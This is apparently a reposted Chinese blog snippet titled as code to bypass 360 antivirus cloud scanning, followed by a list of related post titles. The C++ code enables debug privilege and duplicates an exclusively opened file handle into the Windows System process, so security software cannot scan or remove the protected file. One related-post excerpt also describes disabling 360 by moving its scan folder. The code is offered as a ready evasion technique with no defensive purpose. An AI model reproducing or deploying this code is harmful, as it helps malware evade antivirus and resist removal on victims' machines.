/*————————————————————————————————*/
//过360云查杀的代码
void RaiseToDebugP()
{
HANDLE hToken;
HANDLE hProcess = GetCurrentProcess();
if ( OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) )
{
   TOKEN_PRIVILEGES tkp;
   if ( LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid) )
   {
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  
    BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0) ;
   }
   CloseHandle(hToken);
}  
}
BOOL OccupyFile(LPCTSTR lpFileName)
{

BOOL    bRet;
//提升自身权限
RaiseToDebugP();
//打开一个pid为4的进程,只要是存在的进程,都可以
HANDLE hProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, 4);    // 4为system进程号

if ( hProcess == NULL )
{        
   return FALSE;
}

HANDLE hFile;
HANDLE hTargetHandle;
//以独占模式打开目标文件
hFile = CreateFile( lpFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);

if ( hFile == INVALID_HANDLE_VALUE )
{
   CloseHandle( hProcess );
   return FALSE;
}

//把文件句柄复制到pid=4的进程中去,这样,只要pid=4的进程不退出,谁也动不了目标文件
bRet = DuplicateHandle( GetCurrentProcess(), hFile, hProcess, &hTargetHandle,
   0, FALSE, DUPLICATE_SAME_ACCESS|DUPLICATE_CLOSE_SOURCE);

CloseHandle( hProcess );
return bRet;
}
/*————————————————————————————————*/

转载于:https://www.cnblogs.com/94YY/archive/2011/05/31/2065230.html

//过360云查杀的代码相关推荐

  1. 过360云查杀vc++代码

    把下面的代码保存为一个cpp文件,用vc6.0编译即可     用了一个API函数 MoveFile ,把360云查杀的文件夹移动到temp目录,这样就让云查杀失效了,对开了保险箱的也是有效的     ...

  2. 360云查杀接口的使用

    CString Connect360Cloud(CStringA m_md5) {//请求体CStringA strBody;strBody.Format(("--------------- ...

  3. 360安全卫士的云查杀原理介绍[转]

    我有两个感觉:第一个是关于杀毒软件,一个已经做20年的行业,它的核心技术可以说是一直基于收集病毒样本,采集病毒特征,组成病毒库,在每个用户的机器上按图索骥,像通缉令查坏人一样去查杀病毒.现在木马起来之 ...

  4. 360发布云查杀引擎 称比杀毒软件快十倍

    9月15日消息,360安全卫士6.0版今日正式上线,同时启动"云查杀引擎",用户无需升级木马库即可查杀木马.360公司董事长周鸿祎表示,360安全卫士版比杀毒软件内存少80%,速度 ...

  5. 开源网站云查杀方案,搭建自己的云杀毒。

    最近公司的一个客户被勒索病毒攻击了,可悲的是,客户的文件附件太多而且大,没有做双机热备的功能.当客户发现病毒后,还第一时间格式化了服务器.那叫一个惨!!!!!初步分析导致中毒的原因可能有: 1.内网传 ...

  6. 金山毒霸的云查杀很牛X

    金山毒霸的云查杀很牛X 无论安装包大小.资源占用率.查杀率.还是新病毒反应速度(秒级对比),牛X! 听说,金山毒霸2011-增加了免费服务时间!以后是否也会全免费? 既然免费了,就试试吧! 下载链接: ...

  7. [热门]浅谈360主动防御(360提示)、瑞星主动及360实时查杀的免杀技巧

    今天我给大家讲解一下过360主动和瑞星主动的新思路 现在的360很变态,一方面联合360杀毒,360安全卫士,后台收集 数据 进行联合防御策略 根据我的研究,360实时监视你的电脑,如果你的某个文件操 ...

  8. 基于云查杀的PC游戏反外挂

    外挂是游戏公司的克星.针对于不同的游戏,反外挂的策略也是不同的.比如是一款老游戏需要接入反外挂系统的话,驱动技术就不好了,原因很简单,这个时候的老游戏的汇编代码早已被市场上的外挂作者获取到了,各个功能 ...

  9. 护卫神·云查杀系统V4.0-安全检测部分

    感谢使用护卫神·云查杀系统,该软件专门查杀网页木马,完全免费,欢迎大家使用.     护卫神·云查杀系统 下载地址:http://down.huweishen.com/free/HwsKill.zip ...

最新文章

  1. idea CRLF LF 编码问题,解决保存时自动更改换行符
  2. 成功解决ValueError: row index was 65536, not allowed by .xls format
  3. malloc 背后的系统知识(虚拟内存地址)
  4. 在线做计算机考研题,2018年计算机考研真题及参考答案
  5. P1337-[JSOI2004]平衡点/吊打XXX【模拟退火】
  6. CCIE理论-第二篇-SDN-FabricPath技术
  7. 《精通Linux内核必会的75个绝技》知识杂记
  8. ERROR: function group_concat(character varying) does not exist
  9. 淘宝客APP双端原生源码 开源原生态可运营可二次开发+含全套开发文档
  10. WooCommerce税收入门指南,第2部分
  11. 苹果id登录_LOL手游公测!苹果/安卓下载登录详细教程
  12. 怎么判断日出时间早晚_怎样判断一个地方的日出或日落时间
  13. 用excel、matlab、python绘制正态分布图
  14. 跨时区时间运算以及时间实时更新方法
  15. 轻量级服务器和ECS云服务器有什么区别?
  16. 使用Arduino UNO以及好盈电调控制无刷电机
  17. uniApp和微信小程序好看的我的页面(有源码)
  18. adf机器_STOLL机器——ADF-3 681000 机器赏析
  19. IBMV7000存储电源模块PSU报错“Power Supply Fault type 2“
  20. OSG 球体参数方程绘制

热门文章

  1. 基于Matlab的山区监视场景建模仿真(附源码)
  2. xp职称计算机考试题库,全国职称计算机考试题库(WindowsXP模块)
  3. Sequencer: Deep LSTM for Image Classification(LSTM在CV领域杀出一条血路,完美超越Swin与ConvNeXt等前沿算法)
  4. 数论-欧几里得最大公约数- same gcd
  5. 手把手教你写出几十种让同事无法维护的代码!
  6. h3c S2000-EA 交换机DHCP Snooping支持Option 82功能的配置
  7. 示波器如何测量电源纹波
  8. simulink 汉明码 用法_通信原理及MATLAB/Simulink仿真
  9. m4s格式转换mp3_怎么把ogg音乐格式转换成mp3
  10. 2150: 部落战争